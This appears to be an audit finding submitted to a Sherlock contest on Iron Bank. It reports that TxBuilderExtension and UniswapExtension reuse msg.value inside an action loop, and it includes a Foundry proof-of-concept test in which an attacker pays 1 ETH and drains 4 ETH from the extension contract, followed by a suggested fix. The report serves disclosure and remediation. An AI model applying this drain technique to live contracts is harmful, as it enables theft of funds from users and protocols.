0xStalin

high

# Usage of msg.value on an iterative loop to send native token (ETH)

## Summary
- There are a couple of functions that use directly the value of `msg.value` to transfer the native token (ETH), and these functions are called as part of a loop.
- The problem with using `msg.value` to send ETH inside a loop is that the value of `msg.value` is preserved during the whole transaction execution, even though a function sends the whole value of `msg.value`, there is no way to update the value of `msg.value` to reflect that its value has already been transferred, thus, **iterating over a loop and sending ETH by using `msg.value` will effectively take from the contract's balance all the extra transferred ETH, instead of only sending the vale of the `msg.value` that the user sends**


## Vulnerability Detail
- As explained in the summary and impact sections, an attacker can make use of all the native token (ETH) balances held by the contracts `TxBuilderExtension` & `UniswapExtension`.

- I coded a PoC to demonstrate this vulnerability, I used as a base the [`test/extensions/TestTxBuilderExtension_integration.t.sol`](https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/test/extensions/TestTxBuilderExtension_integration.t.sol) test file

- The purpose of this PoC is to demonstrate how an attacker can drain all the value of ETH held by the contracts `TxBuilderExtension` & `UniswapExtension` and transfer that value to an account of its own
  - On the PoC we funded the `TxBuilderExtension` contract, just to demonstrate how the attacker drains ETH from that contract
   - The attacker will send as `msg.value` 1 ETH and will run 5 times the supplyNativeToken(), which will supply 5WETH in the IronBank contract and will be credited to the attacker
     - The attacker will only pay the 1 ETH that he sent to initiate the transaction, and the other 4 ETH will be taken out of the TxBuilderExtension contract, and the result will be that the attacker will receive 5WETH out of the attack by paying only 1 ETH.
```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";
import "forge-std/Test.sol";
import "../Common.t.sol";

interface StEthInterface {
    function submit(address _referral) external payable;
}

contract TxBuilderExtensionIntegrationTest is Test, Common {
    using SafeERC20 for IERC20;

    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
    address constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;

    address constant feedRegistry = 0x47Fb2585D2C56Fe188D0E6ec628a38b74fCeeeDf;

    uint16 internal constant reserveFactor = 1000; // 10%
    uint16 internal constant stableCollateralFactor = 9000; // 90%
    uint16 internal constant wethCollateralFactor = 7000; // 70%
    uint16 internal constant wstethCollateralFactor = 7000; // 70%

    IronBank ib;
    MarketConfigurator configurator;
    CreditLimitManager creditLimitManager;
    PriceOracle oracle;
    TxBuilderExtension extension;

    PToken pDAI;

    address admin = address(64);
    address user1 = address(128);

    function setUp() public {
        string memory url = vm.rpcUrl("mainnet");
        uint256 forkId = vm.createFork(url);
        vm.selectFork(forkId);

        ib = createIronBank(admin);

        configurator = createMarketConfigurator(admin, ib);

        vm.prank(admin);
        ib.setMarketConfigurator(address(configurator));

        creditLimitManager = createCreditLimitManager(admin, ib);

        vm.prank(admin);
        ib.setCreditLimitManager(address(creditLimitManager));

        TripleSlopeRateModel irm = createDefaultIRM();

        // List WETH, DAI, USDT and WSTETH.
        createAndListERC20Market(WETH, admin, ib, configurator, irm, reserveFactor);
        createAndListERC20Market(DAI, admin, ib, configurator, irm, reserveFactor);
        createAndListERC20Market(USDT, admin, ib, configurator, irm, reserveFactor);
        createAndListERC20Market(WSTETH, admin, ib, configurator, irm, reserveFactor);

        // List pDAI.
        pDAI = createPToken(admin, DAI);
        IBToken ibToken = createIBToken(admin, address(ib), address(pDAI));

        vm.prank(admin);
        configurator.listPTokenMarket(address(pDAI), address(ibToken), address(irm), reserveFactor);

        // Setup price oracle.
        oracle = createPriceOracle(admin, feedRegistry, STETH, WSTETH);

        vm.prank(admin);
        ib.setPriceOracle(address(oracle));

        setPriceForMarket(oracle, admin, WETH, Denominations.ETH, Denominations.USD);
        setPriceForMarket(oracle, admin, DAI, DAI, Denominations.USD);
        setPriceForMarket(oracle, admin, USDT, USDT, Denominations.USD);
        setPriceForMarket(oracle, admin, address(pDAI), DAI, Denominations.USD);

        // Set collateral factors.
        configureMarketAsCollateral(admin, configurator, WETH, wethCollateralFactor);
        configureMarketAsCollateral(admin, configurator, DAI, stableCollateralFactor);
        configureMarketAsCollateral(admin, configurator, USDT, stableCollateralFactor);
        configureMarketAsCollateral(admin, configurator, WSTETH, wstethCollateralFactor);
        configureMarketAsCollateral(admin, configurator, address(pDAI), stableCollateralFactor);

        extension = createTxBuilderExtension(admin, ib, WETH, STETH, WSTETH);

        // Give some ether to user1.
        vm.deal(user1, 10000e18);

+       // Give some ether to extension contract
+       vm.deal(address(extension), 100e18);

        // User1 converts some ether to stETH.
        vm.prank(user1);
        StEthInterface(STETH).submit{value: 1000e18}(address(0));

        // Give some tokens to admin.
        deal(WETH, admin, 10000e18);
        deal(WSTETH, admin, 10000e18);
        deal(DAI, admin, 10000000e18);
        deal(USDT, admin, 10000000e6);

        // Admin supplies some liquidity to Iron Bank.
        vm.startPrank(admin);
        IERC20(WETH).safeIncreaseAllowance(address(ib), 10000e18);
        ib.supply(admin, admin, WETH, 10000e18);
        IERC20(WSTETH).safeIncreaseAllowance(address(ib), 10000e18);
        ib.supply(admin, admin, WSTETH, 10000e18);
        IERC20(DAI).safeIncreaseAllowance(address(ib), 10000000e18);
        ib.supply(admin, admin, DAI, 10000000e18);
        IERC20(USDT).safeIncreaseAllowance(address(ib), 10000000e6);
        ib.supply(admin, admin, USDT, 10000000e6);
        vm.stopPrank();

        // User1 authorizes the extension.
        vm.prank(user1);
        ib.setUserExtension(address(extension), true);
    }

    function testPoC() public {
        uint256 poolWethBefore = IERC20(WETH).balanceOf(address(ib));
        uint256 user1EthBefore = user1.balance;
        uint256 supplyAmount = 1e18;

        uint256 extensionContractETHBefore = address(extension).balance;

        vm.prank(user1);
        TxBuilderExtension.Action[] memory actions = new TxBuilderExtension.Action[](5);
        actions[0] = TxBuilderExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
        actions[1] = TxBuilderExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
        actions[2] = TxBuilderExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
        actions[3] = TxBuilderExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
        actions[4] = TxBuilderExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
        extension.execute{value: supplyAmount}(actions);

        uint256 poolWethAfter = IERC20(WETH).balanceOf(address(ib));
        uint256 user1EthAfter = user1.balance;

        uint256 extensionContractETHAfter = address(extension).balance;

        //@note => The attacker only paid the 1 ETH that was sent as the `msg.value` to start the transaction
        assertEq(user1EthBefore - user1EthAfter, supplyAmount);

        //@note => The attacker depositted 5 times the value of what was sent as the `msg.value`
        assertEq(poolWethAfter - poolWethBefore, supplyAmount * 5);

        //@note => The extension contract paid for the 4 extra deposits using its own ETH, the first deposit was paid by the user using the 1 ETH that was sent as the `msg.value` of the transaction
        assertEq(extensionContractETHBefore - extensionContractETHAfter, supplyAmount * 4);

        //@SUMMARY <==> The attacker paid 1 ETH to receive 5 ETH worth of WETH deposited in the IronBank contract in an account of his own
    }

```

## Impact
- An attacker can use all of the ETH balance held by the contracts `TxBuilderExtension` & `UniswapExtension` to supply WETH liquidity  and/or repay a debt on the IronBank of an account of its own
  - As a result, all the value of the native token (ETH) held by any of these two contracts will be drained by an attacker

## Code Snippet
- [TxBuilderExtension.supplyNativeToken()](https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/extensions/TxBuilderExtension.sol#L252-L256)
- [TxBuilderExtension.repayNativeToken()](https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/extensions/TxBuilderExtension.sol#L290-L306)
- [UniswapExtension.supplyNativeToken()](https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/extensions/UniswapExtension.sol#L460-L464)


## Tool used
Manual Review

## Recommendation
- Do not use directly `msg.value` to send the native token (ETH) when iterating on loops
  - Instead of sending directly the value of `msg.value` inside the loop, make sure to handle the value of `msg.value` as a variable and deduct the amount of the native token (ETH) that has already been used

1.  **Store the value of `msg.value` in a variable that will be sent to the loop**

```solidity
function execute(Action[] calldata actions) external payable {
+   uint256 msgValue = msg.value;
+   executeInternal(msg.sender, actions, 0, msgValue);
}
```

2. **Inside the loop, use the new variable instead of `msg.value`**

```solidity
+ function executeInternal(address user, Action[] memory actions, uint256 index, uint256 _msgValue) internal {
  for (uint256 i = index; i < actions.length;) {
    ...
    ...

    else if (action.name == ACTION_SUPPLY_NATIVE_TOKEN) {
+     _msgValue = supplyNativeToken(user,_msgValue);
    }

   ...
   ...
  }
}
```

3. **Make sure to validate there is still enough value of the native token (ETH) to be transferred and also make sure to deduct the amount that is indeed transferred**
```solidity
+ function supplyNativeToken(address user, uint256 _msgValue) internal nonReentrant returns (uint256) {
+   require(_msgValue != 0, "All the msg.value has already been sent on this loop");
+   WethInterface(weth).deposit{value: _msgValue}();
+   IERC20(weth).safeIncreaseAllowance(address(ironBank), _msgValue);
+   ironBank.supply(address(this), user, weth, _msgValue);
+   return _msgValue -= _msgValue;
}
```